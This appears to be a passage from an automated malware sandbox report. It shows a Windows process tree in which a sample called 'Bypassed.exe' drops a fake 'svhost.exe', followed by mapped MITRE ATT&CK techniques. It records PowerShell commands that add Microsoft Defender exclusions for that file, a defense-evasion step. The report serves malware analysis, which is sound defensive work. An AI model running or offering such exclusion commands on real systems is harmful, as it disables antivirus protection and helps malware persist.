    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA6E9.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1676
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1812

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2576

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3312

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3372
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5380
- - C:\Users\Admin\AppData\Local\Temp\ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe
    "C:\Users\Admin\AppData\Local\Temp\ccb0a5bf-98fa-40e8-b145-e9a4283691e6.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3516

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3800

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4028

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3504

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4816

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:5388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:2404

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3564

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:6040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4688

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4336

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1556

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe e4ec994ceacf575ac3bd0de9449667f5 ACdo6dzfx0qwwkyy74WkcA.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:576
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5128

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1332

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:2732

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4308

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
PID:3752

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery